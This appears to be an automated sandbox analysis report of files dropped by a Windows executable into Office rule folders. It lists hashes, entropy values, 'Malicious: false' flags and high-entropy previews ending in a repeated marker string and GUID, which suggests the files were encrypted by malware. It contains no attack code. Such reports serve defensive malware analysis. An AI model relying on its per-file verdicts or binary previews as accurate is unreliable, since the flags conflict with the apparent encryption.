Encrypted:	false
SSDEEP:	24:IYiF/WH7aGFDbCKls90+cC2ug0ZxFgljspoQ6M9pbD:I+WGFHlQ0+cYg0ZSW6iJD
MD5:	318EAE75954DC98E3460DFF698A5D4DA
SHA1:	E100E174F11CE78F9DC5A7E995EAAF1DD4203AFB
SHA-256:	28E4C10367B8A69F1E6467FE3BE31B4A77B8CC7B903AE8C6A39135A9CEEC0A66
SHA-512:	E14D733BDF78208ACC55C992C5EE650E1403E4026B56CAB9FA819ACF6E7CC501A03C5A4574A70B856C71703157080B0C60116D73C95D77D7C7EE7A8B7BC0598C
Malicious:	false
Preview:	<?xml...."..Ph.8.d...gh../..Hd(..V...1..7...E...~...".......P.pR./.';.~Y.=..7^:.Y...................H..r.R.....,...`.7.o4.$.\|.gD..+i.Y".tjb.434.(.nSmo...T_...._.G...Qqd..J.yA.,~.F.x....K...E.j......ry..'..\|....D...RDo.~...W..eUjX...Sm.....dk...5..@..pk.."%......:.....zp.<.S] ./..9..z._.&i7.>..h.G.'.J..7u....1A...q...........C...}...g..`........U..v.p.%..X.,!....W...M.]..v[#.....K..A...Ib...!.)Q..}u;Y...,.,.l~...wV......(7........3..i..-Z..d.4......clYM.........+..<.#m'.dj.C:.N....m...\|d..{;....,....@g.P..........}I&L.Q.p..#......j.{JU..cA.2?.o.7.N^yO2.8...!~...-.]IT.E....s...Ex...V......e.Q.i.a..6...6..w"..._.q-.Pr....^.h.tGn...R).<+I....M.)'....y.....{.&.0o.Z.0.......?[Y.L$.J...n~..r....}.....Vb.n.D..[.P.:.mP__.!.K..:.L..-..[._.n.W......eR..]\.hS.....3.j6H.).....w....9.e.au..3...e.J"..B....\&..-...+.%..%.._.8.@.Ls[J.V&.B.....E.?~.......g}..]...mz4.Qy...Iw`xcdIdDNFh62dy3iJsba1COhcfDENsbjPHQQ2Eht1{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}

C:\Users\user\AppData\Local\Microsoft\Office\16.0\excel.exe_Rules\rule170024v2.xml

Download File

Process:	C:\Users\user\Desktop\16oApcahEa.exe
File Type:	data
Category:	dropped
Size (bytes):	2312
Entropy (8bit):	7.927389543521544
Encrypted:	false
SSDEEP:	48:wQjKVWi43GTxDW33V4AnApmr6jTeUSM290fMMyzpW1Wxz1JD:wQ2r5gFZnApReUSM290fkUMv
MD5:	4EE3241E793987208D6F707E0A319F75
SHA1:	9D7C28C282BC351E5C51B47B5F71DC75700CBC63
SHA-256:	AF1902CE1C46BF9F364D36882A06794827BBDA3626EE0B16BB7770BA2BA7E599
SHA-512:	140587FABE546D3129CCCCC0A9A03EFA8EACFE0F35CEEA6CF398C3228F464B4CC532032D844413C524C00D2D8E779C09B1CA1C84A6AF617703B241436D0678D6
Malicious:	false
Preview:	<?xmlQ..rT(..2../.vt.x...d......6..j+.?$....kSK._U......G....^:..6.9.>....6xf..CX..IX.v..Oe........8.A/#...#_..)$..{..5......KU.Ke4...$.......3....[.T.b.Ml....'W.'.J.9.8..u....[..._....Ba<........R....Pe0....8...}./Y-hG.h..f+...2x.....-T...?..x.C..0.m..HL.c/....I......Dx........Wl.. v......G..2.o.]..j._.f....O.n._a;.....f...s.%..{3...;.}....;.8.9..TB...9$.t._S...).z...........L...............!v.Z.:...Ww7bz......T.hyWLu8(.1hH.\|..}_..X..G..2.s.~v.g@..G...I..v....m.7uU.t]B...........7k. .4jz..P.L....&c........Q,2...)Y../..S......... H.....$F..!#}...}P.Q.+....=$..._...B..4.%...dskW:$..f.m(P...1..l.@.M..$^...g.Hs.b.r.......2.bI.tp.t....I..>$..^.....R.@..Dt.$=.S...`. .'r...t.~.@.O.......Vs...B...0..{./&5......aH.$Q.S...k\|..e...H.(^...q.Y.[T.k.....+!.....]........:..n....&....@~.W.w..9.i..;TV..E..T.............z............OB".ey..._.Ib....t-.p<...... D8&(+[...+.......-L.yg..... _..iNd1..p...?4k.t.......n.H/F.m..w.<....8'z'(....h]2\d..P..

C:\Users\user\AppData\Local\Microsoft\Office\16.0\excel.exe_Rules\rule170026v0.xml

Download File

Process:	C:\Users\user\Desktop\16oApcahEa.exe
File Type:	data
Category:	dropped
Size (bytes):	1731
Entropy (8bit):	7.878061887110829
Encrypted:	false
SSDEEP:	48:EURlELCmFyQyiLLpg0PiubQOT2drX5RSz0g8iPJD:llELT8QrLRbbQiS5RSz0g8C
MD5:	72A4AF56FAA693D07A94953B49303BB1
SHA1:	7F4D91E262FC2FA0B22B11E7D2D098A649E4E308
SHA-256:	96AED24BCC76243C172A9FDA674DD3DD300BA17B283F4C71E6641CBDD7857C50
SHA-512:	6A94374132CAFF0F201D33C4BB45B4E01927C1367D5A9A4A3DAA58B6CC42EA9598A363014230B2FA70BF8616090BF46CF0598A95B6EAD37599F2977B90B89DFB
Malicious:	false
Preview:	<?xml...~.?....K3..&...@...y.....Q!6#...[...Wd.......^#.xs...+..Y.u...P..s...8H..mG#..~.a8)RY...z.3!.a.O6".. ..on..-N.u&Q._..:. .B..2...]{.e.M._.:)....t.s.S.....n.F.&..\...........J+1x..k.}9.......H....Y.e......q@..v.%.m..o..!.U.FC...P4.p(...b;.y..0D...Y...>.t.).u...i.......2...5....v......9!."..d=....".m...d.h..2;.l..s4..G.....o.f.q.aC.G.y.e.>...F.!.K..,H.(}..Q.......C,.....P........E..M....{)n..k..h.J}..80c....x.+.o.:k..k/..K.......}.n......B..`S.}.h....K..N...S.\....Q..SE....6..r<.nP.....Q......wx./...f.g.s.s.5..:.i.B..1...o.R..+J...Br.v_..,=i.y..".!.....3..v..).1b\|..We.....23>....2......q....?*k........<.mW..._:6P..?.A..[N..e........G...C...m.F.V...X&k.t.@y. cO1`.Z+..r.u..r6..B.....3\|m.2..TI$.2...a:/.I..d.....,...i..p...&.r.(T~5.a+.&.Q.:.G....#...6P. .`......... ..K.vE....m.c..gu...qh.....).X.e4..y.D .$..6H..?c.$K2.9).<O....;\Tz...=._.#9..b...p..;..v .`M.QJ...rV.....I....}.o..J.. .!...,d..Ds../....C....Qs....64.?.. n...N.k}{.

C:\Users\user\AppData\Local\Microsoft\Office\16.0\excel.exe_Rules\rule170027v0.xml

Download File

Process:	C:\Users\user\Desktop\16oApcahEa.exe
File Type:	data
Category:	dropped
Size (bytes):	916
Entropy (8bit):	7.752662189306829
Encrypted:	false
SSDEEP:	24:SG4BAXv8jpAR6EP0sjNfnhuYo3lOiMC5y9pbD:SG4qXkjeMsjNfw/3lO3C+JD
MD5:	C8783B77C233094DB5421A19EFAA722A
SHA1:	1E53A51B4DD820A0495836A4BD5D3436111FEFD5
SHA-256:	65707F55F333DE97D99C8B703DC299D63F3B1745816C625BE773E94BB3223393
SHA-512:	174FBA7524A7D33214CB15AD9BF606BA6FD6B468B4AD340572734027B90764B72D8B3B9BD5B492A68001F33D1D02BC5397548E619BEE73D0B052E6B3B7325515
Malicious:	false
Preview:	<?xml....6.n......B..ATp.YC...L\.&...........+z......k....,.b.h..fN....../....ji....4T.:1....6 L'.....C.........V.O#w..2.y_.....Lm@t}..6..u.?..fy.S9..t)\|..x.....SH..a...ERL.<U...E.NUf7.eT..F.mK...QS\.0..}G..H....k....+...@.M.F.......B.....eE.g..r.\.s.7P..).%...]...d....K......u,D.......-~[..F...Y..b...I..Jv..!......`.@...7...q...x.%H.......Y;k..Mx%..S.(.....dL....O...!...l4.!X......^.l.Q....e....m...v.S..e...?.`.=A...C6.g...-qS.9@QA..%.......{w.]..l.C.=.v..~.6....2..\)........QnnK..=.c.....E.Z..c.v..g...Y.=..x..)}q..As515M9.z.#e..@.Z..}0g.......<)..>........=E..G..a..46.8x..{...@.i.t...4...F...@.S4.2~._L...}..-......B...p.t.m%.....neL=.]..f.......^%.u.`....3#.Q.._..&H..$4U%.!"A..f.t.o..8T9U.C#.>/.7[!...f..x...D...`}E..........!../?n...O.Sdg2,.v^O.p$.m.d.ug..mV.8....p..%xcdIdDNFh62dy3iJsba1COhcfDENsbjPHQQ2Eht1{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}

C:\Users\user\AppData\Local\Microsoft\Office\16.0\excel.exe_Rules\rule170030v1.xml

Download File

Process:	C:\Users\user\Desktop\16oApcahEa.exe
File Type:	data
Category:	dropped
Size (bytes):	887
Entropy (8bit):	7.7791676799433365
Encrypted:	false
SSDEEP:	24:Ie+7X8J8wyQBeGmz0TJ+zIr/dqfPjwj5ch28rs8JHW9pbD:Ie+7X8JWaW00kr/QPUjmlJoJD
MD5:	9668F5214C8986DDC497943345FDEB69
SHA1:	736B1B5F6147C6D7DA8E305F2E1C537AFFD78BAA
SHA-256:	750739DA01581D147D566F03D13DECEAAA9A14BC9AF9607D261D83C9323DCC81
SHA-512:	77B0777D15C56EEFE9E4CA0EF019AA8252E9AEDF8521F32B58EE2CEC0964DBE1F489F02D7996E4429DB2B1EEE50F13AAA0056891270DCD9351834741657C3734
Malicious:	false
Preview:	<?xml\..e2q...&.}CHV.$G...Sa~3..d.......B6K..X...'T%d.ki.m.l.(W,.\|.9.L.r......pr.Y....l:.v....$._xX.S.Ew..1"y../...4...)....}....C>I>...1.an...........B..W.JD.)g..7.......C..d.....Q....+.x.J.e.\....L.._....N...FU?7h............F....h.t........Y.wU...]X6..j.R^....@....q..K$M...+.~.I..3>.....z.....w,.#'Z.oBg.'.....j..#...`aw..6.... {. a.....Zv..X!..:tJ`...n..].,+/.]VXHQ.)."J\|v..&..{s?.Y..z..F4..2.Q....>..N.yw%HwG.W.h._....I...&.q.@.....C.c.:.........sd.....'wR....t....{0...^q.8.O...8..'.?....$p...`.......o..}t.}........c.-;0X.w... ...g..V....'OV..D..>...x6.../.c..z......cE.....8.j...@.B.rcp.MS+3..c..8;`9...J<......r.b....o.7...HM.m}hWT!..E........<xR.Y\...\|...;..b8~..!.%...(. 8.':..!..c..Q.4.....*..@..D..v;...4.1W.....[~.R.>....P..Kn..3....`.x=.#D.(.....{.. }.xcdIdDNFh62dy3iJsba1COhcfDENsbjPHQQ2Eht1{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}

C:\Users\user\AppData\Local\Microsoft\Office\16.0\excel.exe_Rules\rule170032v2.xml

Download File

Process:	C:\Users\user\Desktop\16oApcahEa.exe
File Type:	data
Category:	dropped
Size (bytes):	975
Entropy (8bit):	7.768244431114826
Encrypted:	false
SSDEEP:	24:sR/PhHGt1+20mFT1w0BuOqrkt67mLfqWGT859pbD:E/PQt90mt1HuOqdGdjJD
MD5:	D9215E0C77CC92DBB5D5BACEA1BFE65E
SHA1:	C33710346F325EA9BC34A357F3EDE268CD35ADBA
SHA-256:	1505F556B4B14C2C612BB998DC3857937A0D58241BA3EEB4C63034AAE447C1D6
SHA-512:	26F4D8BB280652C225F5EEC2434DECE87AE4CCA13334ABA21BEE70F93D0EEAD4E92D6F73202610866641CAA3B7539F3769ACA26103A8FFA8533B0E6555EA1D96
Malicious:	false
Preview:	<?xml7..W..d..wL`..&.C...F:IT...;.q:....^..0iY.. ....##K[:...[.....S.f..(.f....~..u.f........].#+}....)....[.S..RXH...n.5...;u.".....6.}j..6...vB<....n..Inro.g"1....I.@....-...qD..].LTj..n..e=....u.U.6..`...AG.V_.F....1.'8A.i.t.(O..8N....Gp..........~.....[..'.m.....`s.d.p.....[.I.G&.%~.QT..~!..DU.S.....A..!Ff./A..k...i.{.U.Ps"...P......TU..ReF.Mv..m.!.a..on.).mG.C.[p.d.0.....>=.A...X..Y].....q8........./.(...../....?..fx.N..<..om^.'WXw...(m0..../.q..j..]. .x..Q.5...p3.`.......\.<.:+.V.S.,.Qu..g6d.7....8..h..N=k..m.X.Y..D$.{\|..U8(.v......S.G..R....\....~{.m..@.....}.B....wC..@Uk.3J..........z.p...8...v.1......j...xjv.R.j...#jb'.!..'"t..n]...>...(.....N.l..}.O6.~{..2.&1......EH9Cp. .4.#4.O."0.7#9..H].`...-....F../P.s.k#........*B....0[e....#......%q..wWDQi....`C.....k}."..)..g..4 #....{....N%W..9u-t..{Q/.....bbA.!!:...t..[.xcdIdDNFh62dy3iJsba1COhcfDENsbjPHQQ2Eht1{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}

C:\Users\user\AppData\Local\Microsoft\Office\16.0\excel.exe_Rules\rule170033v0.xml

Download File

Process:	C:\Users\user\Desktop\16oApcahEa.exe
File Type:	data
Category:	dropped
Size (bytes):	719
Entropy (8bit):	7.607843778396696
Encrypted:	false
SSDEEP:	12:pXWb0MdwSvFsr1G2Gkfd9gVEUeHFZdh0nf3+M/mR2Wfgg9M2cii9a:pGHCrclIdeKHFRYfOM/cVgg9pbD
MD5:	075EF506FEAABE91954E088E4775C36A
SHA1:	F6C9F4BF25B55D908FF0DB5426A17ACFFABCE792
SHA-256:	F4D76A456C087429B9A947BD19114787145FDD8A51E4728668767D8BA69A339F
SHA-512:	F1CDF5ED28D406CDCD3C6709DCED3C2EC91BE83D412B8B05B8FD6EFB8DCA1351042C678002C6037BD504440043510F62DC2205841A8DEFF86F5BBADCA5EA848B
Malicious:	false
Preview:	<?xmlZ.A..6..^...C)H.&....r...^.@....n.-I....z.=V..~..WJ..1..8djKE5........r[...#.(.I.a.c...Q..b.S.....co.qY.><q...~.d..~R.../..T.jI...IZ..q.Dz#7n..c.yd.N...d...\..\......Vr...z..GX......s..Q...@.....f..W.....t.........J2aQ....p.\|L.Ft..E..K%.bm...A<b...:...F.r...f.z.eX<.9@..s.I#.H.9.C.....ICM;...3q....'.i.6..-.H.>{`....>`m7..v..W.6~.N?....nE.y....WV...;..e4:.._......~jn4..FD.-....<...H.2..G.}..S.m9........0.@.......i.OQ...y.`..Q.y..q.z...C.Xd..#..q....T.O^...*.....V.....%...W.i......../.>P...s.L...m....er..3%.@...V..:..Q...T..S~.n\|O..8..z..9.`....V5....S.Y..d.y..).!.eM.....h.........<.&.[nxcdIdDNFh62dy3iJsba1COhcfDENsbjPHQQ2Eht1{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}

C:\Users\user\AppData\Local\Microsoft\Office\16.0\excel.exe_Rules\rule170034v1.xml

Download File

Process:	C:\Users\user\Desktop\16oApcahEa.exe
File Type:	data
Category:	dropped
Size (bytes):	1031
Entropy (8bit):	7.768631073933643
Encrypted:	false
SSDEEP:	24:gnrfUftmDMcfTqTlDsvPsNMUwcI5B/0TOJV0z9pbD:gwVjc2TlDKPsmDs805JD
MD5:	EBE996ED0E3D2D73D6D284D93E46DE64
SHA1:	84341DD82B27B74066BDFE21347D34177633F16A
SHA-256:	BBAE02348172C3F712BC06267CB1482269D42470A20B70DA38757512ABD1DF8B
SHA-512:	22E85C86C1A26B6FAE590F5975CE13C51A579B5155611B64344F11E81EDE86C3A3237CAB5FE4E23969F87B0C6480D3873D5EECD8A3F3491DDB976414848F598C
Malicious:	false
Preview:	<?xml....@.+..kd...8..Jq6.'...dK'.).V.. .\[.D....>.e@...._%.9#>._........0}]E.R)...7.c..l..v..v..%Z...p...eP.p.+....G.p..$M....H\|{7.s.V(..>.V..c......."d>=c...mw~.......F.f.B..E.J+kK.v....-..bg..z.}.\|.E......]1.F=.p..bh.]/.....+.(}..hj.w....>....Qe o:/E.M..~[...#../.....x.)._4.\|..A.M.....b..~.&V`...J,..1.lG7.D....U.w.4..{....O..t'Q.+H..{8.......tY.ssju,.$.c.z....k$.m'~..y..@.<...O...;.%...OU...I?..a\|.k.]....ca.......LG..,;^.Rc...E$...7.'....f.[/...A....P.VJ.3..r...........,T.8.Q...8.s..P..z<.....[.....`.b!.....gVi.r...Fj..aM.TH...5E.....L`..."Z..N....o.......L..b..W....i\|..q.c....<.@....V.K.T.Z...3Yq..U.B.s.8oaX.t.IV.q...\|.1P0f06.+B.!.(........j-+O.w.K.EGc8S...b..[..{u).]..<%.. ....\|..X2.i..M.p~..@....5..zoc...h..M.d=..'/.S.=01s~.I..#.Huo.W/\|1..(...?m.R...5d....a..1.!Q..ltM.....q.l...xC.e..O..Z.f#,o.....{pM..f1..~]g.....%....F.L.....P.s.~N......n..!r.Dad..7..+....*@..B....1(G....(...]N.b...xcdIdDNFh62dy3iJsba1COhcfDENsbjPHQQ2Eht1{36A698

C:\Users\user\AppData\Local\Microsoft\Office\16.0\excel.exe_Rules\rule170035v1.xml

Download File

Process:	C:\Users\user\Desktop\16oApcahEa.exe
File Type:	data
Category:	dropped
Size (bytes):	1143
Entropy (8bit):	7.832558349802887
Encrypted:	false
SSDEEP:	24:a1sdECMDnxIM4HNVZBjABO3sKhXPA6j4Ps/zUAU9pbD:GM7yIMENVZuBly/A6jUb/JD
MD5:	6E6EF5BCB1E68F26B64250444DE2ABD1
SHA1:	863F533CED9E52CA50B5482358E978AA0AB907E2
SHA-256:	AE62B24E28FA544D3DDDBF8358521352141F962DCA4484A1C2CC5DFD1E4B6D7D
SHA-512:	6A6F38BA2C94F5D274C3971C9CE2C7BD9AC0163599682E087C053784F26D9514017F1F6BE6FA1A2CACFAA68743FDD73BE4EC537B98561BCA235DCE52D28A9D20
Malicious:	false
Preview:	<?xml.^.).\..P..Y5.U.....}.&...\|....>Z.....n..%.K.;..........,.......Uyn.Z!...M..s..1..=.....331..<=...\|s \.....d."..r%.2U..=.w..{..{.\|....By....~.,x.!...7sTN._...p.....u.........u...p.Kay".l........}9BJ".mkd.]y....b}..#.^.~.....V.\|E~...Y..2.j..m..........A.....E.gb..F.;.....}q=.......g...i.I....!..o.R...u..d@..1N... .e.}8u..U...N..t..$.ds0RUf.y..>.J.c..&...]....F=.`........[..b.]A.KU@if)...0u..>%{5.R........V..:.3EZ.7...H...nTv<al.C...6a.l...].'...J.=....q.?^J..tz...y.{...:8..[..P..$.J ....U.../.....h..o...T..{..9.P..G...!h..5..."...^..N)".\|j6...^..X.M.h.-...i.D[...:.FX.3..?P.......M5.............G_=.6n.q.l.{I@..J~.../_.\|v.Y(8..ph.7.V.]...V.xy..[b....[..@;_.qn.w..F..W.-.7j..h6T!.V&...jZ...K.J......=.\|..sX.d.[.@}'.#.).O.d.t...Q...R..]4D.Q...v4....0Y.C.I..sD\|......;.].T.M.f...:...@ET......$3MF..w....F...<VU.#..f...c.d..7.V#lL'....r.S^....:O..8.U0n......`~...#s.....T.X:.}G.A.i.......tv-.....L.......Vj..b.B!l....)[....f....U.. {3....

C:\Users\user\AppData\Local\Microsoft\Office\16.0\excel.exe_Rules\rule170037v1.xml

Download File

Process:	C:\Users\user\Desktop\16oApcahEa.exe
File Type:	data
Category:	dropped
Size (bytes):	1503
Entropy (8bit):	7.8692090346950465
Encrypted:	false
SSDEEP:	24:hQG3L2uu3L4mAbysk+iPUVqXYgO9gdNvTxmPyNmJzfp5ZuemmB9gZNh/FOJ9pbD:z3L2uu3L4mAbysk+CUVqBOqvdZN4zp5f
MD5:	BF14221C0AEAFB0EFD05468CA0A698F6
SHA1:	9D1F1F5230A8C592B09E8EC7DC136ED46494B74D
SHA-256:	1D92CC38F65A00D208CBB94C01FB546E9BAE042818BEA19533B63E70985DC55E
SHA-512:	DBCF9F065FDF4B4631FB615DA6A815DC1E567EE7950BCFFB9E124E808C8629F5802AF7CB92F32D5EB926B059B8B4CE3D39147BB5BD71FA503853D4F625AD7FD6
Malicious:	false
Preview:	<?xml8....o...(...-.f.U.4.q`....<r/.7.w.....3..Q.._..\|...ir.k.N.. cl...6o>q_.W<.nR.%.h..mTz..y...Rd.S..8.......sa..q...j..\k..J.k!.i....Ly;.k...dm....q......c.....h..k...H..k...Qw.[#!&.t.L.......e..Z..... ...PX.iw3..s@yd0.7.P......e%....ff=..6e....e...ANy-\|_.O[.o.(...L...<<...8....H...c12L..+_] ..s.....z!..J.]<...@.b.D.{c.)~...LY.....~9\|i..I6.I!...v....;.I0.'....\C...w.g>.@Z..3..K.(.Y.0....O.1%..?.M=.n.c....b.nF....H[. 7...W.vV.@"... f.&.f..[.p...`.Q..b.........R%.`d.^...q$.?t(..vC.ru.......&[?...$)-.....0XZ..^...'0E...n*..g.V[i..Xs\|..(.%p....k...Q.\|...#..hv]..{...l..>.0.Ro.K.......p....... ..8..Q.ZW.2..s....".aGZ1.......h]20....&..\......P6=.C...4E...^wl.....8..E..........<S..[....l...._.:...^.l......u...1........oaJ.....\|.e.d..nc.T.1g.R..'n.0AG.=....x..u.tQT.....b.......K..:....i.w.`_a...CUD..f.....]...P...}=.\s..l.%...{!-....M.%1.`.E.p...g[B#.f..6.3........Te.%m.QL6F23....e.O7.~0.......v......Z....._.V..}.[...V.R...".j.El.5....

C:\Users\user\AppData\Local\Microsoft\Office\16.0\excel.exe_Rules\rule170038v0.xml

Download File

Process:	C:\Users\user\Desktop\16oApcahEa.exe
File Type:	data
Category:	dropped
Size (bytes):	1036
Entropy (8bit):	7.802794238937336
Encrypted:	false
SSDEEP:	24:tFaJRB1eaVuxPZsWonlxVCnGpHF9HoAYY9pbD:yV1ea4PolxVCnGTRYuJD
MD5:	DB137831C25DEBF7E398A193E0C1D11A
SHA1:	CD748DA281EE78D909F52368FD99D8116CD977DD
SHA-256:	B266C78893A12FA71C81AFC9AABF8DDDFA299D1116D4A384DDE285349F9098B2
SHA-512:	E8818609FB9DB91158E429F21CC4829867D11F117566F6179A6F3942CEC0F66C2BE73913BBAB47AC5C70B51ACABE29DA049FDFFC974B7223205BFCFEDE41E007
Malicious:	false
Preview:	<?xmlR...h.+....S.%..l....z}...J........-..=TJ..#..k9c....z........`.2p.......\|...L..!.>5.;......B..I ..p.....q...9..L..@<>V..&.......GC.J<EVA...d..T^..T.'Ab..SI.\|..J......\|..\|.q\|...c$L.../...kR.P..S.......%.....K....\.....q'X.a.f8Z.).~.d=>=.Z1T.M:\....j&Zc.......c.....>W......S?1..d....b=k..y....Jv..b0....KX.........6NY.h..s?......=....N9...G./.i+..\...W..U.3."....%......W.i...Y{.....oqp....G...K_....0.[q.0.v../~...$4...y64P.K;...-.....c..V/..!3.[.JY.?.^....a.P..U7....,.X...xG..y.Su?.A[.}k.Z.....b.pHw4.9.di..}eU."tz..8.}cu[.j...8!9:...".5.E....=..../k8.....[.......B...._..2<S.Mz...}^}/...7...X.5......R..+..jK...G.".......^.`.......y.7."..m.^.I#......\..3...Z.....%.S..[....G...k..Zwp.`w........m..9{.W.%a.4.._..s.'.....iS<./....A.....,18.Q.....&..^.&.m.R...3.F..6..y.f..`A.v.w.......tW...>..i...,.b.#.....a.p..q...p.pOC.U)...ZZ}n..M}..t.!zx}<2r."BQ@........H........!(gs..i.. ....9.....$.#4.\.xcdIdDNFh62dy3iJsba1COhcfDENsbjPHQQ2Eht1{3

C:\Users\user\AppData\Local\Microsoft\Office\16.0\excel.exe_Rules\rule170039v0.xml

Download File

Process:	C:\Users\user\Desktop\16oApcahEa.exe
File Type:	data
Category:	dropped
Size (bytes):	934
Entropy (8bit):	7.776000711597867
Encrypted:	false
SSDEEP:	24:2eQ0/yECFRyXGyJwxO4hed/8huNkG6h9pbD:y0/pCFRyXXCO4heh8PG6LJD
MD5:	6515D5E55B99BC87D093F8002333A13F
SHA1:	2EF1C0CB393858F24DB8C49CF5998C363DCA546C
SHA-256:	2E1EB09D5A58A8C098E1E43088D72A4E3A2041EA850CB75CBEBC40E4E71BB0A2
SHA-512:	1E75DB14D11C9F7E5D3F19F3E6AB8D177C0E16655E5238B791C9F05DFB7E46757A0F6805FAD719A4B2CE9F55D941BFF2DC0496A6B2762D55A8E9FB5EA4B2C641
Malicious:	false
Preview:	<?xml.V...........x......Q=..-....#.D0.Yw.m.M...S..wtW....t..&1....7.;.,.e.+.e..2..-....r.../@.!.~=r..Z?...n.a%....vf...@)U.....Z...2C..-.2L3]..c.....W.._.=..l...J..4.9..A.c.iR..vi.........U.....XL..]...8.$.!..7......)..G..R.l...Ydc....I..8...ML.).u."...........;....o....v9..7]#(..nJ...;1O.OV8..f...Y.&...}5.6..5..t....@Y.;.40.P....Z....zr..p=..5..[....TF..........i.=..HsUy....L.Fi..2..."N.S.}...j.-.S\|.........R.C....^V%.hd"I0.e..P..i./..5..WB...........Uw.&......-3..B..g.jQ.}.TE.......cpp.0...n.v.....O..P..u...........X.f..A../.42f<...I..Xm...._.......S....A=.Dj6..C...F.?.E.6..W...k4....+V..b...S....{r..4...!.dU4nE.......Q.`.,.4..$/..a..?{...d...\.%....L05U....q.u..i{}..)...:R.. ...B45........r...L....'.{6,g.D.}..!....p...!._..a.8(......"U....#...;!.....'.oT..n.)T..O..$.d(..$&........%..$.....xcdIdDNFh62dy3iJsba1COhcfDENsbjPHQQ2Eht1{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}

C:\Users\user\AppData\Local\Microsoft\Office\16.0\excel.exe_Rules\rule170040v0.xml

Download File

Process:	C:\Users\user\Desktop\16oApcahEa.exe
File Type:	data
Category:	dropped
Size (bytes):	723
Entropy (8bit):	7.705718832225978
Encrypted:	false
SSDEEP:	12:j3S+QxmmSY06Y7lLzqsl3Adkgbsr6v5lxkTQTLiSzAlmi56NziAPVIt9M2cii9a:j3rQxUY0DlXskg4rGlxkqLiCA0VN1y9h
MD5:	1DCA16803EEB5AC844B16507F1F32C04
SHA1:	AF1BFDB6312CF3466BC7E06E3AF0B7ABA880A8A7
SHA-256:	D667E2A045FD0092FF94E6F510DF0597C00A0C72D7DCCED6F1D32797EB75AFF2
SHA-512:	7A5228343D54EE01DBFB9FD765496DCC81B37C9D1968B7EE0CE7EF1FFC93A5FC501B2BD9594629764D4385C5A9472E05B98470724A9BD45B89AE96FECF55DF62
Malicious:	false
Preview:	<?xml.b&gG$)..GE...BO../..&....5...T.......9.,`...;.j.\.Y.......W.&.u..US..H..R".d.vg...c..!%.a.&.>K;...zC"O\|.v..qu......e..P..k..s4.........'....Je9...F....g..v...94.R.....,.....;.eZ..U....)`....$.A.6.O.8@..4...0............@.4..d.7.....M..W..Pph..5.. .4....]@}^7.r8..............B.7...L...)d..N.@.C.l..er.u..G.2E..Y%..\|....U.vV.F..x> .....\....e$..I._d..]d\|.'...VIw....>bF... .k...w.\|.v.\..`....a..`nV...^....x.-..._..r..[9$_...<..2....B..%....m\...r#J".BE...X...S_oSt@.i\;..i..7.b.)\|c(.~..w..*.Io....W...4.uP..I....U...ow.=_m.+.4...p......p'!....l.S.c..;X.:~#.,\..~._=ec..~V...s..(.x..V..d.p...Z/..1z.xcdIdDNFh62dy3iJsba1COhcfDENsbjPHQQ2Eht1{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}

C:\Users\user\AppData\Local\Microsoft\Office\16.0\excel.exe_Rules\rule170041v2.xml

Download File

Process:	C:\Users\user\Desktop\16oApcahEa.exe
File Type:	data
Category:	dropped
Size (bytes):	1089
Entropy (8bit):	7.794693621325019
Encrypted:	false
SSDEEP:	24:avKFjPHNhXKGqej2FyookgxlYn2ZS3NN5/Ymbcd4y+GiC9pbD:aEjFhXnCFyfrxunlqtd4y+sJD
MD5:	A7CC52C0F644FB3B898123BFE22ED71C
SHA1:	82F5BF68AEDE7C20BCEA84F20AB4510A59BE142D
SHA-256:	E19FBE6A96AC88A39DCF60D7B5C69284F75D7C1EC2935623AC835C4232C69384
SHA-512:	7273758E754852FB97F9F4530C108418BB2FEC129A459D62BC2B3B2EC9F400CF133504D3DB5F6AAC36C5B9536FAE69C3A5F5C51CA953BDDC1CA3815307414272
Malicious:	false
Preview:	<?xml..]Q....5....g+H.mV...4..`...'..T$...,6.[.6q..+...yj..[...r.#.....C=..\.Z7C.`.t..Uk......v3\|ZA.......p.V_?..o......y.....W.QU...#F.:.ts..%.U.........w.....2..Z...".ZIq....4c.O..VhQ.....0.!n.....#...R.IC?.A3.......... ......Joc..M.......G_w.^.H....Kl.\..(...$..bm^..Q.y9.j.o...N.rw..i....uE/.,q.....D4)......~.;+....].....=?....l9...Gw(I.:..<....5d6...q.G..liA[.......!F..Y}4F....Pj....\k?a'...Rq\.q.8..>W.CB..K..*......T.E..A.8>...........+..,E........xT..$.r.3O..@.....O.2<C.......G....7.v....P[.\...3..1.7...{...Qx.M.......X....Q........:N...K2..w......%?k..L.....+...#.Y....aS.x.......l._..N.....]#q\|......F...$y.O+A..g....K.=....yx.hE.E.w^........O.K..5u.\s...j[bu.r.i..^...(ed..D+.OF..[.c...;1K...<#x.:.0X.0.^........^.@.a>.CX.2qw.....[(....N.C.:.i..'.......f;z...y...Y..{.75.%u..b5....{aT.r...u.U...bP_g...d......1...JX.U..H.$.h_+..{8...X.MY.k.f..............Q............\...d...6.".<..R...T....bm.b../...r.R.9\bq'w..){Z.."......v

C:\Users\user\AppData\Local\Microsoft\Office\16.0\excel.exe_Rules\rule170042v4.xml

Download File

Process:	C:\Users\user\Desktop\16oApcahEa.exe
File Type:	data
Category:	dropped
Size (bytes):	1049
Entropy (8bit):	7.805302724385472
Encrypted:	false
SSDEEP:	24:dEQBsREjIOoopZY5OH8BE9LtqiyYRIfTqP9u6g9pbD:dEQ72ovYiXyYRvlu62JD
MD5:	4A4FA1FA0DECD4DE7C1EA66A9C2B692F
SHA1:	DA3BA665F219317C869BADEBD6E9E9652DCC2256
SHA-256:	7DF3D32CE61B323D298A38555C5C98E792262EEAE3B795B0BB80B26C924331DD
SHA-512:	5BB6BAE4D8858C24DE5D2AA875769362FB233A9A0C4C2BFAD63E445FC4275C11D7A91D506B74DB2B13204DBF654D45916A0CDB995606BC5FC27EDE292C63D3BF
Malicious:	false
